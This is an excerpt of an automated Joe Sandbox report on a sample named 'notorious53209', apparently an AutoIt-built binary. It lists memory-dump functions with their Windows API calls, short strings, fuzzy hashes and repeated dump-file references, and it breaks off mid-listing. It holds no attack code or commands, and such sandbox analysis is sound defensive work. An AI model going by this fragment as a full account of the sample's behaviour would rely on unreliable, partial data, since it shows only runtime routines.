Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 897ad89a1cbd3ed4381c5fbbb3e731ef95a82ec10d84f25ab7198b96fd9e4ac3
Instruction ID: 999ebcddc011feb194cb7ca216537fa1e51b801438ac5bedaecc4d0aa8c4f8ca
Opcode Fuzzy Hash: 897ad89a1cbd3ed4381c5fbbb3e731ef95a82ec10d84f25ab7198b96fd9e4ac3
Instruction Fuzzy Hash: D2016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C47941C7F5A864CFE5

Function 0029568B Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0029569B
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 002956B1
GetWindowThreadProcessId.USER32(?,?), ref: 002956C0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 002956CF
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 002956D9
CloseHandle.KERNEL32(00000000), ref: 002956E0

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: c395d1eeab057fa8395386d776412b47b9ce4164ebda5450bbee5802eda7df60
Instruction ID: ef0beafb9a288fdb3499fef7bba705991933ed31b6c07f94aa9e666d231b0f3a
Opcode Fuzzy Hash: c395d1eeab057fa8395386d776412b47b9ce4164ebda5450bbee5802eda7df60
Instruction Fuzzy Hash: 30F06D32641158BBE7215BA6AD0DEEB7B7CEBCAB11F000269FA04D1050D6A01A0187B5

Function 002974D2 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 002974E5
RtlEnterCriticalSection.NTDLL(?), ref: 002974F6
TerminateThread.KERNEL32(00000000,000001F6,?,00241044,?,?), ref: 00297503
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00297510

Part of subcall function 00296ED7: CloseHandle.KERNEL32(00000000), ref: 00296EE1

InterlockedExchange.KERNEL32(?,000001F6), ref: 00297523
RtlLeaveCriticalSection.NTDLL(?), ref: 0029752A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: aadbd41a2648e93d85c600f5666df318fd7fbf08333c2d87805a44310423a65a
Instruction ID: ae0661be78766c422f12d09bd030b7672cc4a2006b4fc82eb268ca383c914ed5
Opcode Fuzzy Hash: aadbd41a2648e93d85c600f5666df318fd7fbf08333c2d87805a44310423a65a
Instruction Fuzzy Hash: 99F05E3A150612EBDF921F64FE8C9EB772AEF45302B410631FA02910B4CB755C11CB50

Function 002A8902 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 002A8928
CharUpperBuffW.USER32(?,?), ref: 002A8A37
VariantClear.OLEAUT32(?), ref: 002A8BAF

Part of subcall function 00297804: VariantInit.OLEAUT32(00000000), ref: 00297844
Part of subcall function 00297804: VariantCopy.OLEAUT32(00000000,?), ref: 0029784D
Part of subcall function 00297804: VariantClear.OLEAUT32(00000000), ref: 00297859

Strings

AUTOIT.ERROR, xrefs: 002A8A3D
Incorrect Parameter format, xrefs: 002A8960, 002A8B22

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 947bddeff0d9b344e7b4362208a775814f7d986fb97168fb43b220eecfa7a772
Instruction ID: 313bd53d34cb1d59aa04099608bbf45d6b652c0a60ab90d1a76bbb7ef8564fa2
Opcode Fuzzy Hash: 947bddeff0d9b344e7b4362208a775814f7d986fb97168fb43b220eecfa7a772
Instruction Fuzzy Hash: A9916C756283029FC710DF28C48496BBBF4AF8A314F04496EF89A8B361DB70E955CB52

Function 00292F86 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0024FEC6: _wcscpy.LIBCMT ref: 0024FEE9

_memset.LIBCMT ref: 00293077
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 002930A6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00293159
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00293187

Strings

0, xrefs: 00293063

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 8d1b9d89bd80a5cd8ec23eba68272ca6daf47828802066b5e6bfa9b74b871b03
Instruction ID: 2984a3f6ac2d5ff7cb5f5164ad8646db68c7c5e04634242ef49da730042275f6
Opcode Fuzzy Hash: 8d1b9d89bd80a5cd8ec23eba68272ca6daf47828802066b5e6bfa9b74b871b03
Instruction Fuzzy Hash: DA51A3716383029BDB25DF28D849A6BB7E4EF55360F04092DF899D31A1DB70CE688B52

Function 00292C42 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00292CAF
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00292CCB
DeleteMenu.USER32(?,00000007,00000000), ref: 00292D11
DeleteMenu.USER32(?,00000000,00000000), ref: 00292D5A

Strings

0, xrefs: 00292CA4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 133f46fd73a6274f6a2165eb5d1d1f91a257e2152391f111da716e362bed62e7
Instruction ID: faf9192d7691802118af46400f9556efa675f7225ae4f1283832913a3308cd0c
Opcode Fuzzy Hash: 133f46fd73a6274f6a2165eb5d1d1f91a257e2152391f111da716e362bed62e7
Instruction Fuzzy Hash: 09419F70214302EFDB24DF24D844B5ABBE8BF85720F14462EF96597291D770E918CBA2

Function 00289372 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 0028B0C4: GetClassNameW.USER32(?,?,000000FF), ref: 0028B0E7

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 002893F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00289409
SendMessageW.USER32(?,00000189,?,00000000), ref: 00289439

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

Strings

ComboBox, xrefs: 00289380
ListBox, xrefs: 002893B5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 1b828a02ce6b4386ad6330003d2f6d761fc02dfc1e58199118e49d7e53808132
Instruction ID: 0a5af22201c0bd45e9c1dbe02de72068d37947f0e188f4c3699f700b306e2b22
Opcode Fuzzy Hash: 1b828a02ce6b4386ad6330003d2f6d761fc02dfc1e58199118e49d7e53808132
Instruction Fuzzy Hash: 7C21E4B5921104BBDB14BB74DC858FFB7ACDF05360F144129F826972E1DB351A6A9B10

Function 002B6656 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00231D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00231D73
Part of subcall function 00231D35: GetStockObject.GDI32(00000011), ref: 00231D87
Part of subcall function 00231D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00231D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 002B66D0
LoadLibraryW.KERNEL32(?), ref: 002B66D7
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 002B66EC
DestroyWindow.USER32(?), ref: 002B66F4

Strings

SysAnimate32, xrefs: 002B66AB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 9dac1e4c22aa88fe078a0dabf6b0714fcdd8d3a697a4f0c646382447ef7c959f
Instruction ID: 3bc0dddaa8c37f05416054d611bf6b1f4e38f692be9ef5cb70f41f3440d2277d
Opcode Fuzzy Hash: 9dac1e4c22aa88fe078a0dabf6b0714fcdd8d3a697a4f0c646382447ef7c959f
Instruction Fuzzy Hash: 04218171120206AFEF104F64EC88EFB77ADEF593A8F104629F951D2190D779DC61AB60

Function 0029703E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 0029705E
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00297091
GetStdHandle.KERNEL32(0000000C), ref: 002970A3
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 002970DD

Strings

nul, xrefs: 002970D8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 4105ac3608efb2bf2a329f7cdc138a919488331d46f95b12dd978c84a8eb1e37
Instruction ID: 0fb1355852c024118d8691a75c0986d587d74281762caca2bcf3feb7c1dfbb79
Opcode Fuzzy Hash: 4105ac3608efb2bf2a329f7cdc138a919488331d46f95b12dd978c84a8eb1e37
Instruction Fuzzy Hash: 2921517563420AABDF209F29DC09A9A7BF8BF54720F204A19FCA1D72D0E7709C608B50

Function 0029710C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0029712B
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0029715D
GetStdHandle.KERNEL32(000000F6), ref: 0029716E
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 002971A8

Strings

nul, xrefs: 002971A3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: a2f35f1cc89cf56a161faa40d04fd73b80ea1df59d98232f3739d6880e7c7dd2
Instruction ID: e5c23b629ee065f8ce7dbbb513394c8756c7fbbfe2790fbd9998c074aee9bec0
Opcode Fuzzy Hash: a2f35f1cc89cf56a161faa40d04fd73b80ea1df59d98232f3739d6880e7c7dd2
Instruction Fuzzy Hash: 60218375634206ABDF209F68DC08AAAB7E8AF55720F200B19FDA5D72D0D7709861CB50

Function 0029AEAB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0029AEBF
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0029AF13
__swprintf.LIBCMT ref: 0029AF2C
SetErrorMode.KERNEL32(00000000,00000001,00000000,002BF910), ref: 0029AF6A

Strings

%lu, xrefs: 0029AF26

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 19974a092890413385af5811290a780fd5a4b4eb8ba2c4245388c880b25bfd59
Instruction ID: 19674bc45974513d160c3ce6320bcac602ae0b1f991efb069c6b20197b71cacb
Opcode Fuzzy Hash: 19974a092890413385af5811290a780fd5a4b4eb8ba2c4245388c880b25bfd59
Instruction Fuzzy Hash: 7E218674610209AFCB10EF54DD85EAE77B8EF49704B004069F909EB251DB71EA51CF61

Function 0028A52F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

Part of subcall function 0028A37C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0028A399
Part of subcall function 0028A37C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0028A3AC
Part of subcall function 0028A37C: GetCurrentThreadId.KERNEL32(00000000), ref: 0028A3B3
Part of subcall function 0028A37C: AttachThreadInput.USER32(00000000), ref: 0028A3BA

GetFocus.USER32 ref: 0028A554

Part of subcall function 0028A3C5: GetParent.USER32(?), ref: 0028A3D3

GetClassNameW.USER32(?,?,00000100), ref: 0028A59D
EnumChildWindows.USER32(?,0028A615), ref: 0028A5C5
__swprintf.LIBCMT ref: 0028A5DF

Strings

%s%d, xrefs: 0028A5D9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 84afbf112cddd9bd403ca244d8a9a9d66749d553a5f3e1b089d1c7e14468f34f
Instruction ID: 04e963aa91c8aa3afaa21cdf4454868d14e93e759a2e996ecaf9d161636dd499
Opcode Fuzzy Hash: 84afbf112cddd9bd403ca244d8a9a9d66749d553a5f3e1b089d1c7e14468f34f
Instruction Fuzzy Hash: 5D11C3B56202097BEF117F60DC86FEA376C9F48300F0440B6FD08AA092DE7059658F35

Function 00292017 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00292048

Strings

APPEND, xrefs: 00292081
REMOVE, xrefs: 0029204E
EXISTS, xrefs: 00292070
KEYS, xrefs: 0029205F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e0a31bcb4f78f9cba425a22ed9db20193ef99292f7eb35bae7107c08650f7826
Instruction ID: c8432b38f4cd5e8a8d1cc29d9db0f0fa220e6430ca3e8dfc61fd5e6863be3148
Opcode Fuzzy Hash: e0a31bcb4f78f9cba425a22ed9db20193ef99292f7eb35bae7107c08650f7826
Instruction Fuzzy Hash: 6411AD3496010ADFCF40EFA4D9814EEB7B4FF29300F508468DC55AB252EB32A92ACF40

Function 002AEE69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 002AEF1B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 002AEF4B
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 002AF07E
CloseHandle.KERNEL32(?), ref: 002AF0FF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: a3e9a63e1369ec96e6999c642e5a30ede06d53ef6b26f4bfb9de22ef36221442
Instruction ID: cb452960170fe11d789d7139491cce3d6fb59e273bf4a8d16b6f0406ec82306a
Opcode Fuzzy Hash: a3e9a63e1369ec96e6999c642e5a30ede06d53ef6b26f4bfb9de22ef36221442
Instruction Fuzzy Hash: 938181B16243019FD720DF28CC46B2AB7E5EF49720F14891DF599DB292DBB4AC508F91

Function 002B02C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 002B10A5: CharUpperBuffW.USER32(?,?), ref: 002B10BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002B0388
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 002B03C7
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 002B040E
RegCloseKey.ADVAPI32(?,?), ref: 002B043A
RegCloseKey.ADVAPI32(00000000), ref: 002B0447

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
